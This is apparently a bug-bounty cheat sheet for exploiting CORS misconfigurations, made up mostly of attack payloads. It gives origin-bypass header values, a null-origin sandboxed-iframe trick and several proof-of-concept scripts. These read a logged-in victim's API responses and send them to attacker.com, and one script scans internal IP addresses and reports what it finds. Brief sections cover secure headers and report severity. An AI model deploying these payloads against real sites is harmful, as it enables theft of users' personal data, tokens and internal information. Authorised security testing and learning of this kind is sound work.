CORS Misconfiguration

CORS controls which origins can read responses from your API.

Without CORS: Browser blocks cross-origin response reading
With misconfigured CORS: Attacker's site can read victim's data

curl -H "Origin: https://evil.com" -I https://target.com/api/user

# Vulnerable if response includes:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

1. Add Origin: https://evil.com to request
2. Check response headers
3. If ACAO reflects your origin → potentially vulnerable
4. If ACAC: true → exploitable for authenticated data

Request:
Origin: https://evil.com

Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

# Server reflects any origin → vulnerable!

Request:
Origin: null

Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

# Exploitable via sandboxed iframe

# If validation is ^https://.*\.target\.com$
Origin: https://evil.target.com       # Subdomain takeover
Origin: https://eviltarget.com         # Missing escape on dot
Origin: https://target.com.evil.com    # Suffix match
Origin: https://targetXcom.evil.com    # Dot as any char

# If validation checks startsWith("https://target.com")
Origin: https://target.com.evil.com    # Starts with target.com
Origin: https://target.comevil.com     # Still matches

# If *.target.com trusted
Origin: https://anything.target.com

# Find subdomain with:
- XSS vulnerability
- Subdomain takeover potential
- Upload functionality

# HTTPS target trusting HTTP
Origin: http://target.com

# Allows MitM to inject and exploit

Origin: https://target.com%60.evil.com
Origin: https://target.com`.evil.com
Origin: https://target.com&.evil.com
Origin: https://target.com\.evil.com
Origin: https://target.com/.evil.com

Origin: https://evil!.target.com
Origin: https://evil$.target.com
Origin: https://evil*target.com
Origin: https://evil~target.com

<script>
fetch('https://target.com/api/user', {
    credentials: 'include'
})
.then(response => response.json())
.then(data => {
    // Send stolen data to attacker
    fetch('https://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});
</script>

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/sensitive', true);
xhr.withCredentials = true;
xhr.onload = function() {
    // Exfiltrate
    new Image().src = 'https://attacker.com/log?data=' + 
        encodeURIComponent(xhr.responseText);
};
xhr.send();
</script>

<script>
fetch('https://target.com/api/user', {credentials: 'include'})
.then(r => r.text())
.then(d => {
    navigator.sendBeacon('https://attacker.com/log', d);
});
</script>

<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user', {credentials: 'include'})
.then(r => r.json())
.then(d => {
    parent.postMessage(d, '*');
});
</script>
"></iframe>

<script>
window.addEventListener('message', function(e) {
    fetch('https://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify(e.data)
    });
});
</script>

<iframe src="data:text/html,<script>
fetch('https://target.com/api/user', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>"></iframe>

If CORS allows attacker origin:
1. Victim visits attacker page
2. Attacker reads anti-CSRF token via CORS
3. Attacker performs action with token
4. Standard CSRF protections bypassed

// Use CORS to scan internal network
const internalIPs = ['192.168.1.1', '10.0.0.1', '172.16.0.1'];

internalIPs.forEach(ip => {
    fetch(`http://${ip}/api/status`)
    .then(r => {
        // Internal service reachable
        fetch('https://attacker.com/log?found=' + ip);
    })
    .catch(e => {});
});

□ Test with random origin (Origin: https://evil.com)
□ Test with null origin (Origin: null)
□ Test subdomain variations
□ Test regex bypass patterns
□ Check if credentials included (ACAC: true)
□ Verify actual data exfiltration works
□ Check preflight (OPTIONS) handling

1. Vulnerable endpoint
2. Request/response headers showing reflection
3. Working PoC page
4. Actual stolen data
5. Clear impact statement

- Can read PII → High
- Can read auth tokens → Critical
- Can read financial data → Critical
- Can read internal data → High
- Only non-sensitive data → Medium/Low

Access-Control-Allow-Origin: https://trusted.com  # Specific origin
Access-Control-Allow-Credentials: true

# OR for public APIs
Access-Control-Allow-Origin: *
# But NO credentials allowed with wildcard

- Wildcard + Credentials → Blocked by browser
- No ACAO header → Response blocked
- ACAO doesn't match origin → Response blocked

- User profile endpoints
- Account settings
- API tokens/keys
- Financial data
- Internal APIs
- Admin endpoints

- Test subdomains of the target
- Test HTTP version of HTTPS endpoints
- Test API versions (/v1/ vs /v2/)
- Test different content types
- Check WebSocket origins too